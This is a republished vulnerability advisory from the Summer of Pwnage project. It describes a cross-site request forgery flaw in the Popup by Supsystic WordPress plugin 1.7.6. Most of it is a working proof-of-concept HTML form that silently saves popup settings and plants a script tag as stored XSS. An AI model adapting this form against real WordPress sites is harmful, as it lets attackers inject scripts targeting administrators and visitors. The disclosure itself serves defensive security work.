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WordPress Popup By Supsystic 1.7.6 Cross Site Request Forgery

WordPress Popup By Supsystic 1.7.6 Cross Site Request Forgery
Posted Mar 3, 2017
Authored by Securify B.V., Radjnies Bhansingh

WordPress Popup by Supsystic plugin 1.7.6 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | c44f0d7c29e05b7d57e8ef6eaec37a3a1b7d438d1d471473d6154da47e3616ea

WordPress Popup By Supsystic 1.7.6 Cross Site Request Forgery

Change Mirror Download
------------------------------------------------------------------------
Popup by Supsystic WordPress plugin vulnerable to Cross-Site Request
Forgery
------------------------------------------------------------------------
Radjnies Bhansingh, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-site Request Forgery vulnerablity exists in the Popup by
Supsystic WordPress Plugin. This vulnerablity allows attackers to add
and modify scripting code that will target authenticated WordPress
admins or visitors that see the popup generated by this plugin. Before
exploitation of this issue succeeds, and scripting code is therefore
injected, a victim WordPress admin to click a specially crafted link or
visit a malicious attacker-controlled webpage.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0013

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was succesfully tested on the Popup by Supsystic WordPress
plugin version 1.7.6.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/popup_by_supsystic_wordpress_plugin_vulnerable_to_cross_site_request_forgery.html

This issue exists because Popup by Supsystic lacks protection against Cross-Site Request Forgery attacks. The following proof of concept code demonstrates this issue:

<html>
<body>
<form action="http://<target>/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="params[main][show_on]" value="page_load" />
<input type="hidden" name="params[main][show_on_page_load_delay]" value="" />
<input type="hidden" name="ppsCopyTextCode" value="[supsystic-show-popup id=100]" />
<input type="hidden" name="ppsCopyTextCode" value="onclick="ppsShowPopup(100); return false;"" />
<input type="hidden" name="ppsCopyTextCode" value="#ppsShowPopUp_100" />
<input type="hidden" name="params[main][show_on_click_on_el_delay]" value="0" />
<input type="hidden" name="params[main][show_on_scroll_window_delay]" value="0" />
<input type="hidden" name="params[main][show_on_scroll_window_perc_scroll]" value="0" />
<input type="hidden" name="ppsCopyTextCode" value="#ppsShowPopUp_100" />
<input type="hidden" name="params[main][show_on_link_follow_delay]" value="0" />
<input type="hidden" name="ppsCopyTextCode" value="[supsystic-popup-content id=100]" />
<input type="hidden" name="params[main][close_on]" value="user_close" />
<input type="hidden" name="params[main][show_pages]" value="all" />
<input type="hidden" name="params[main][show_time_from]" value="12:00am" />
<input type="hidden" name="params[main][show_time_to]" value="12:00am" />
<input type="hidden" name="params[main][show_date_from]" value="" />
<input type="hidden" name="params[main][show_date_to]" value="" />
<input type="hidden" name="params[main][show_to]" value="everyone" />
<input type="hidden" name="params[main][show_to_first_time_visit_days]" value="30" />
<input type="hidden" name="params[main][show_to_until_make_action_days]" value="30" />
<input type="hidden" name="params[main][count_times_num]" value="1" />
<input type="hidden" name="params[main][count_times_mes]" value="day" />
<input type="hidden" name="params[main][hide_for_devices_show]" value="0" />
<input type="hidden" name="params[main][hide_for_post_types_show]" value="0" />
<input type="hidden" name="params[main][hide_for_ips_show]" value="0" />
<input type="hidden" name="params[main][hide_for_ips]" value="" />
<input type="hidden" name="params[main][hide_for_countries_show]" value="0" />
<input type="hidden" name="params[main][hide_for_languages_show]" value="0" />
<input type="hidden" name="params[main][hide_search_engines_show]" value="0" />
<input type="hidden" name="params[main][hide_preg_url_show]" value="0" />
<input type="hidden" name="params[main][hide_preg_url]" value="" />
<input type="hidden" name="params[main][hide_for_user_roles_show]" value="0" />
<input type="hidden" name="params[tpl][width]" value="400" />
<input type="hidden" name="params[tpl][width_measure]" value="px" />
<input type="hidden" name="params[tpl][bg_overlay_opacity]" value="0.5" />
<input type="hidden" name="params[tpl][bg_type_0]" value="color" />
<input type="hidden" name="params[tpl][bg_img_0]" value="" />
<input type="hidden" name="params[tpl][bg_color_0]" value="#8c7764" />
<input type="hidden" name="params[tpl][bg_type_1]" value="color" />
<input type="hidden" name="params[tpl][bg_img_1]" value="" />
<input type="hidden" name="params[tpl][bg_color_1]" value="#75362c" />
<input type="hidden" name="params[tpl][font_label]" value="default" />
<input type="hidden" name="params[tpl][label_font_color]" value="#ffffff" />
<input type="hidden" name="params[tpl][font_txt_0]" value="default" />
<input type="hidden" name="params[tpl][text_font_color_0]" value="#f9e6ce" />
<input type="hidden" name="params[tpl][font_footer]" value="default" />
<input type="hidden" name="params[tpl][footer_font_color]" value="#585858" />
<input type="hidden" name="params[tpl][responsive_mode]" value="def" />
<input type="hidden" name="params[tpl][reidrect_on_close]" value="" />
<input type="hidden" name="params[tpl][close_btn]" value="while_close" />
<input type="hidden" name="params[tpl][bullets]" value="lists_green" />
<input type="hidden" name="layered_style_promo" value="1" />
<input type="hidden" name="params[tpl][layered_pos]" value="" />
<input type="hidden" name="params[tpl][enb_label]" value="1" />
<input type="hidden" name="params[tpl][label]" value="SIGN UP<br> to our Newsletter!" />
<input type="hidden" name="params[tpl][enb_txt_0]" value="1" />
<input type="hidden" name="params_tpl_txt_0" value="<p>Popup by Supsystic lets you easily create elegant overlapping windows with unlimited features. Pop-ups with Slider, Lightbox, Contact and Subscription forms and more</p>" />
<input type="hidden" name="params[tpl][foot_note]" value="We respect your privacy. Your information will not be shared with any third party and you can unsubscribe at any time " />
<input type="hidden" name="params[tpl][enb_sm_facebook]" value="1" />
<input type="hidden" name="params[tpl][enb_sm_googleplus]" value="1" />
<input type="hidden" name="params[tpl][enb_sm_twitter]" value="1" />
<input type="hidden" name="params[tpl][sm_design]" value="boxy" />
<input type="hidden" name="params[tpl][anim_key]" value="none" />
<input type="hidden" name="params[tpl][anim_duration]" value="" />
<input type="hidden" name="params[tpl][enb_subscribe]" value="1" />
<input type="hidden" name="params[tpl][sub_dest]" value="wordpress" />
<input type="hidden" name="params[tpl][sub_wp_create_user_role]" value="subscriber" />
<input type="hidden" name="params[tpl][sub_aweber_listname]" value="" />
<input type="hidden" name="params[tpl][sub_aweber_adtracking]" value="" />
<input type="hidden" name="params[tpl][sub_mailchimp_api_key]" value="" />
<input type="hidden" name="params[tpl][sub_mailchimp_groups_full]" value="" />
<input type="hidden" name="test_email" value="canzihazcandy@gmail.com" />
<input type="hidden" name="params[tpl][sub_fields][name][enb]" value="1" />
<input type="hidden" name="params[tpl][sub_fields][name][name]" value="name" />
<input type="hidden" name="params[tpl][sub_fields][name][html]" value="text" />
<input type="hidden" name="params[tpl][sub_fields][name][label]" value="Name" />
<input type="hidden" name="params[tpl][sub_fields][name][value]" value="" />
<input type="hidden" name="params[tpl][sub_fields][name][custom]" value="0" />
<input type="hidden" name="params[tpl][sub_fields][name][mandatory]" value="0" />
<input type="hidden" name="params[tpl][sub_fields][email][name]" value="email" />
<input type="hidden" name="params[tpl][sub_fields][email][html]" value="text" />
<input type="hidden" name="params[tpl][sub_fields][email][label]" value="E-Mail" />
<input type="hidden" name="params[tpl][sub_fields][email][value]" value="" />
<input type="hidden" name="params[tpl][sub_fields][email][custom]" value="0" />
<input type="hidden" name="params[tpl][sub_fields][email][mandatory]" value="1" />
<input type="hidden" name="params[tpl][sub_fields][email][enb]" value="1" />
<input type="hidden" name="params[tpl][sub_txt_confirm_sent]" value="Confirmation link was sent to your email address. Check your email!" />
<input type="hidden" name="params[tpl][sub_txt_success]" value="Thank you for subscribe!" />
<input type="hidden" name="params[tpl][sub_txt_invalid_email]" value="Empty or invalid email" />
<input type="hidden" name="params[tpl][sub_txt_exists_email]" value="Empty or invalid email" />
<input type="hidden" name="params[tpl][sub_redirect_url]" value="" />
<input type="hidden" name="params[tpl][sub_txt_confirm_mail_subject]" value="Confirm subscription on [sitename]" />
<input type="hidden" name="params[tpl][sub_txt_confirm_mail_from]" value="admin@mail.com" />
<input type="hidden" name="params[tpl][sub_txt_confirm_mail_message]" value="You subscribed on site <a href="[siteurl]">[sitename]</a>. Follow <a href="[confirm_link]">this link</a> to complete your subscription. If you did not subscribe here - just ignore this message." />
<input type="hidden" name="params[tpl][sub_txt_subscriber_mail_subject]" value="[sitename] Your username and password" />
<input type="hidden" name="params[tpl][sub_txt_subscriber_mail_from]" value="admin@mail.com" />
<input type="hidden" name="params[tpl][sub_txt_subscriber_mail_message]" value="Username: [user_login]<br />Password: [password]<br />[login_url]" />
<input type="hidden" name="params[tpl][sub_redirect_email_exists]" value="" />
<input type="hidden" name="params[tpl][sub_btn_label]" value="SIGN UP" />
<input type="hidden" name="params[tpl][sub_new_email]" value="admin&@mail.com" />
<input type="hidden" name="params[tpl][sub_new_subject]" value="New Subscriber on Summer of Pwnage" />
<input type="hidden" name="params[tpl][sub_new_message]" value="You have new subscriber on your site <a href="[siteurl]">[sitename]</a>, here us subscriber information:<br />[subscriber_data]" />
<input type="hidden" name="stat_from_txt" value="" />
<input type="hidden" name="stat_to_txt" value="" />
<input type="hidden" name="css" value="" />
<input type="hidden" name="html" value="<link rel="stylesheet" type="text/css" href="//fonts.googleapis.com/css?family=Amatic+SC" />
<script>alert("xss")</script>
<div id="ppsPopupShell_[ID]" class="ppsPopupShell ppsPopupListsShell">
<a href="#" class="ppsPopupClose ppsPopupClose_[close_btn]"></a>

<div class="ppsInnerTblContent">
<div class="ppsPopupListsInner ppsPopupInner">
[if enb_label]
<div class="ppsPopupLabel ppsPopupListsLabel">[label]</div>
[endif]
<div style="clear: both;"></div>
[if enb_txt_0]
<div class="ppsPopupTxt ppsPopupClassyTxt ppsPopupClassyTxt_0 ppsPopupTxt_0">
[txt_0]
</div>
[endif]
[if enb_subscribe]
<div class="ppsSubscribeShell">
[sub_form_start]
[sub_fields_html]
<input type="submit" name="submit" value="[sub_btn_label]" />
[sub_form_end]
<div style="clear: both;"></div>
</div>
[endif]
<div style="clear: both;"></div>
<div class="ppsRightCol">
[if enb_sm]
<div style="clear: both;"></div>
<div class="ppsSm">
[sm_html]
</div>
[endif]
[if enb_foot_note]
<div class="ppsFootNote">
[foot_note]
</div>
[endif]
</div>
</div>
</div>
</div>
" />
<input type="hidden" name="params[opts_attrs][bg_number]" value="2" />
<input type="hidden" name="params[opts_attrs][txt_block_number]" value="1" />
<input type="hidden" name="mod" value="popup" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="id" value="100" />
<input type="hidden" name="params_tpl_txt_val_0" value="<p>Popup by Supsystic lets you easily create elegant overlapping windows with unlimited features. Pop-ups with Slider, Lightbox, Contact and Subscription forms and more</p>" />
<input type="hidden" name="pl" value="pps" />
<input type="hidden" name="reqType" value="ajax" />
<input type="submit"/>
</form>
</body>
</html>



------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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